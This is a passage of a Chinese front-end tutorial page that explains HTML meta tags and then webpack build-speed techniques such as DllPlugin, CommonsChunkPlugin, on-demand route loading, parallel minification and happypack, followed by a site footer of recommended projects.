<meta charset="utf-8"> //HTML5设定网页字符集的方式,推荐使用UTF-8

B. X-UA-Compatible(浏览器采取何种版本渲染当前页面)
说明:用于告知浏览器以何种版本来渲染页面。(一般都设置为最新模式,在各大框架中这个设置也很常见。)

举例:

<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"/> //指定IE和Chrome使用最新版本渲染当前页面

C. cache-control(指定请求和响应遵循的缓存机制)
用法1:
说明:指导浏览器如何缓存某个响应以及缓存多长时间。

举例:

<meta http-equiv="cache-control" content="no-cache">

共有以下几种用法:

  • no-cache: 先发送请求,与服务器确认该资源是否被更改,如果未被更改,则使用缓存。

  • no-store: 不允许缓存,每次都要去服务器上,下载完整的响应。(安全措施)

  • public : 缓存所有响应,但并非必须。因为max-age也可以做到相同效果

  • private : 只为单个用户缓存,因此不允许任何中继进行缓存。(比如说CDN就不允许缓存private的响应)

  • maxage : 表示当前请求开始,该响应在多久内能被缓存和重用,而不去服务器重新请求。例如:max-age=60表示响应可以再缓存和重用 60 秒。

用法2 (禁止百度自动转码):
说明:用于禁止当前页面在移动端浏览时,被百度自动转码。虽然百度的本意是好的,但是转码效果很多时候却不尽人意。所以可以在head中加入例子中的那句话,就可以避免百度自动转码了。

举例:

D. expires(网页到期时间) 说明:用于设定网页的到期时间,过期后网页必须到服务器上重新传输。 举例: ```html ```

E. refresh(自动刷新并指向某页面)
说明:网页将在设定的时间内,自动刷新并调向设定的网址。

举例:

<meta http-equiv="refresh" content="2;URL=http://www.lxxyx.win/"> //意思是2秒后跳转向我的博客

F. Set-Cookie(cookie设定)
说明:如果网页过期。那么这个网页存在本地的cookies也会被自动删除。

举例

<meta http-equiv="Set-Cookie" content="name, date"> //格式

<meta http-equiv="Set-Cookie" content="User=Lxxyx; path=/; expires=Sunday, 10-Jan-16 10:00:00 
GMT"> //具体范例

3. content属性

content 属性给出了与 http-equiv 或 name 属性相关的值。

4. charset属性

规定 HTML 文档的字符编码

在理论上,可以使用任何字符编码,但并不是所有浏览器都能够理解它们。某种字符编码使用的范围越广,浏览器就越有可能理解它。

5. scheme属性

scheme 属性规定用于翻译 content 属性的值的方案与格式。

举例:

<meta name="date" content="2009-01-02" scheme="YYYY-MM-DD">
<meta name="identifier" content="0-2345-6634-6" scheme="ISBN">

注意
HTML5 不支持 scheme 属性。

webpack性能优化

1、前言

随着前端的发展,在一个前端项目中,框架和构建工具已经成了编配,而webpack显然已经成了最火热的构架工具之一。React,Vue,angularjs2等诸多知名项目也都选用其作为官方构建工具,极受业内追捧,随者工程开发的复杂程度和代码规模不断地增加,webpack暴露出来的各种性能问题也愈发明显,极大的影响着开发过程中的体验。
2810595339-585b9b07eef9a_articlex

本文旨在分析 webpack 的性能问题,并提供不同的解决方案。

2、性能问题源自何处

  1. 项目体积过大,有时只是一个小改动,但热更新的全量构建导致编译时间出奇的长。
  2. 多个模块之间共用基础资源存在重复打包,代码复用率不高。
  3. 一些具有公共特性的代码没有提取成通用组件。
  4. 一些代码库被打包在项目中,导致项目编译时间太长;而且不利于做缓存。
  5. 图片等静态资源没有走cdn
  6. 单页面项目过大,导致首次加载时间太长

在此我们介绍一款 wepback 的可视化资源分析工具:webpack-visualizer,这款工具可以在webpack构建的时候会自动帮你计算出各个模块在你的项目工程中的依赖与分布情况,方便做更精确的资源依赖和引用的分析。

3、解决方案

我们主要针对不同的性能问题提供不同的解决方案。

3.1 合理去除对一些代码库的构建

image

从上图中我们不难发现大多数的工程项目中,依赖库的体积永远是大头,通常体积可以占据整个工程项目的7-9成,而且在每次开发过程中也会重新读取和编译对应的依赖资源,这其实是很大的的资源开销浪费,而且对编译结果影响微乎其微,毕竟在实际业务开发中,我们很少会去主动修改第三方库中的源码,所以我们需要通过一些方案来抽离代码库。

1. 使用 externals 配置来提取常用库

externals的官方定义是:防止将某些 import 的包(package)打包到 bundle 中,而是在运行时(runtime)再去从外部获取这些扩展依赖(external dependencies)。
例如,从 CDN 引入 react ,而不是把它打包:

index.html

...
<script src="https://cdn.bootcss.com/react/15.6.1/react.js"></script>
...

webpack.config.js

externals: {
  react: 'React'
}

这样就剥离了那些不需要改动的依赖模块,换句话,下面展示的代码还可以正常运行:

import react from 'react';

简单来说 external 就是把我们的依赖资源声明为一个外部依赖,然后通过 script 外链脚本引入。这也是我们早期页面开发中资源引入的一种翻版,只是通过配置后可以告知 webapck 遇到此类变量名时就可以不用解析和编译至模块的内部文件中,而改用从外部变量中读取,这样能极大的提升编译速度,同时也能更好的利用CDN来实现缓存。

2. 利用 DllPluginDllReferencePlugin 预编译资源模块

我们的项目依赖中通常会引用大量的npm包,而这些包在正常的开发过程中并不会进行修改,但是在每一次构建过程中却需要反复的将其解析,如何来规避此类损耗呢?这两个插件就是干这个用的。

简单来说 DllPlugin 的作用是预先编译一些模块,而 DllReferencePlugin 则是把这些预先编译好的模块引用起来。这边需要注意的是 DllPlugin必须要在 DllReferencePlugin 执行前先执行一次, dll 这个概念应该也是借鉴了windows程序开发中的 dll 文件的设计理念。

相较于 externalsDllPlugin 的主要是:

  • 由于 externals 的配置项需要对每个依赖库进行逐个定制,所以每次引入新的代码库的时候都需要手动修改外链的引入,并且在CDN上配置该代码库的资源,过程比较繁琐,而通过 dllPlugin 则能完全通过配置读取,减少维护的成本。
  • DllPlugin 会将多个代码库抽离成一个js资源,可以减少一些 script 标签。

(1) 配置 dllPlugin 对应资源表并编译文件

dll.config.js

const webpack = require('webpack');
const path = require('path');

const vendors = [
    'react',
    'react-dom',
    'react-router'
];

module.exports = {
    output: {
        path: __dirname + '/dist',
        filename: '[name].js',
        library: '[name]',
    },
    entry: {
        lib: vendors,
    },
    plugins: [
        new webpack.DllPlugin({
            path: path.join(__dirname, 'dll', 'manifest.json'),
            name: '[name]',
            context: __dirname,
        }),
    ],
};

然后执行命令:

NODE_ENV=development webpack --config  webpack.dll.lib.js

结果会生成一个 manifest.json 文件和一个 lib.js 文件。

  • manifest.json 记录了webpack中的预编译信息,这样等于提前拿到了依赖库中的chunk信息,在实际开发过程中就无需要进行重复编译。
  • lib.js 就是将配置的代码库编译后生成的文件。

(2) dllPlugin的静态资源引入

生成了 manifest.json 文件和 lib.js 文件之后,我们还要在我们的配置文件中配置 manifest.json,让 webpack 能够不自动编译这些代码库,配置如下:

plugins: [
    new webpack.DllReferencePlugin({
      context: __dirname,
      manifest: require('./dll/manifest.json'),
    })
]

注意:如果你有依赖代码库相同的项目,也可以使用同一份 manifest.jsonlib.js 文件,只需在配置中将manifest.json引入,在 script 标签中引入 lib.js 即可。

3.2 多入口项目合理提取出公共代码

当项目的入口很多,但是入口文件存在一些公共代码,对所有依赖的chunk进行公共部分的提取的必要性就会发挥出来。

  1. 默认会把所有入口节点的公共代码提取出来, 生成一个common.js
new webpack.optimize.CommonsChunkPlugin('common.js')
  1. 有选择的提取公共代码
new webpack.optimize.CommonsChunkPlugin('common.js',['entry1','entry2']);
  1. 指定模块必须被入口chunk 共享的数目
new webpack.optimize.CommonsChunkPlugin({
  name: "commons",
  minChunks: 3
  filename: "commons.js"
})
  1. 抽取enry中的一些lib抽取到vendors中
entry = {
    vendors: ['fetch', 'loadash']
};
new webpack.optimize.CommonsChunkPlugin({
    name: "vendors",
    minChunks: Infinity
});

3.3 单页面应用合理分割代码、按需加载

现在很多项目都采用单页面开发,特别是一些移动端的网站;但是当网站规模越来越大的时候,首先出现的问题是 Javascript 文件变得巨大,这导致首页渲染的时间让人难以忍受。实际上程序应当只加载当前渲染页所需的 JavaScript,也就是大家说的“代码分拆" — 将所有的代码分拆成多个小包,在用户浏览过程中按需加载。
通过代码分割,我们得到的效果如下:

分割之前的页面

01

分割之后的效果

02

可以很清楚的看到,我们将一个大的js文件拆分成了若干个chunk文件。

我们项目的结构如下:

page
├── home
   ├── home.js
   ├── home.scss
├── guide
   ├── guide.js
   ├── guide.scss
└── more
   ├── more.js
   └── more.scss
└── app.js

按需加载之后,我们需要对Route进行改造,我们将component方法替换成getComponent,让路由去动态的加载组件。
app.js是项目入口,配置如下:

const rootRoute = {
  indexRoute: {
    getComponent(nextState, cb) {
      require.ensure([], (require) => {
        cb(null, require('./home'))
      })
    }
  },
  getComponent(nextState, cb)  {
    require.ensure([], (require) => {
      cb(null, require('./index'))
    })
  },
  path: '/',
  childRoutes: [
    require('./guide'),
    require('./more')
  ]
}

render((
  <Router
    history={hashHistory}
    routes={rootRoute}
  />
), document.getElementById('app'))

此处有四个属性:

path

将匹配的路由,也就是以前的 path。

getComponent

对应于以前的 component 属性,但是这个方法是异步的,也就是当路由匹配时,才会调用这个方法。
这里面有个 require.ensure 方法

require.ensure(dependencies, callback, chunkName)

这是 webpack 提供的方法,这也是按需加载的核心方法。第一个参数是依赖,第二个是回调函数,第三个就是上面提到的 chunkName,用来指定这个 chunk file 的 name。

如果需要返回多个子组件,则使用 getComponents 方法,将多个组件作为一个对象的属性通过 cb 返回出去即可。这个在官方示例也有,但是我们这里并不需要,而且根组件是不能返回多个子组件的,所以使用 getComponent

indexRoute

indexRoute用来显示默认路由,不需要进行按需加载。

childRoutes

这里面放置的就是子路由的配置,这里的子路由都应该是按需加载的。

我们还需要在子路由中进行配置。

home.js

module.exports = require('./home');

由于home是默认的路由,所以不需要进行按需加载

guide.js

module.exports = {  
  path: '/guide',
  getComponent(nextState, cb) {
    require.ensure([], (require) => {
      cb(null, require('./guide'))
    })
  }
}

more.js

module.exports = {  
  path: '/more',
  getComponent(nextState, cb) {
    require.ensure([], (require) => {
      cb(null, require('./more'))
    })
  }
}

项目经过webpack打包之后,会生成包含子路由的chunk文件,并且在路由切换的时候进行按需加载。

3.4 加快代码压缩速度

UglifyJsPlugin 凭借基于node开发,压缩比例高,使用方便等诸多优点已经成为了js压缩工具中的首选,但是我们在webpack的构建中观察发现,当webpack build进度走到80%前后时,会发生很长一段时间的停滞,经测试对比发现这一过程正是 UglifyJsPlugin 在对我们的 output 中的 bunlde 部分进行压缩耗时过长导致,针对这块我们推荐使用webpack-uglify-parallel来提升压缩速度。

webpack-uglify-parallel 的实现原理是采用了多核并行压缩的方式来提升我们的压缩速度。

使用配置也非常简单,只需要将我们原来webpack中自带的 UglifyJsPlugin 配置:

new webpack.optimize.UglifyJsPlugin({
   exclude:/\.min\.js$/
   mangle:true,
   compress: { warnings: false },
   output: { comments: false }
})

修改成如下代码即可:

const os = require('os');
const UglifyJsParallelPlugin = require('webpack-uglify-parallel');
new UglifyJsParallelPlugin({
   workers: os.cpus().length,
   mangle: true,
   compressor: {
      warnings: false,
      drop_console: true,
      drop_debugger: true
   }
})

3.5 让loader多进程地去处理文件

happypack 的原理是让loader可以多进程去处理文件,原理如图示:

68747470733a2f2f73692e6765696c6963646e2e636f6d2f687a5f696d675f303864623030303030313561333536326361363830613032363836305f3830305f3438365f756e61646a7573742e706e67

此外,happypack同时还利用缓存来使得rebuild 更快

var HappyPack = require('happypack'),
  os = require('os'),
  happyThreadPool = HappyPack.ThreadPool({ size: os.cpus().length });

modules: {
	loaders: [
	  {
        test: /\.js|jsx$/,
        loader: 'HappyPack/loader?id=jsHappy',
        exclude: /node_modules/
      }
	]
}

plugins: [
    new HappyPack({
      id: 'jsHappy',
      cache: true,
      threadPool: happyThreadPool,
      loaders: [{
        path: 'babel',
        query: {
          cacheDirectory: '.webpack_cache',
          presets: [
            'es2015',
            'react'
          ]
        }
      }]
    }),
    //如果有单独提取css文件的话
    new HappyPack({
      id: 'lessHappy',
      loaders: ['style','css','less']
    })
  ]

4、结尾

性能优化无小事,追求快没有止境,在前端工程日益庞大复杂的今天,针对实际项目,持续改进构建工具的性能,对项目开发效率的提升和工具深度理解都是极其有益的。

5、参考文章

webpack中文官方博客

react-router 按需加载

webpack中文站

happypack

yumu脚手架

why

about:blank

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.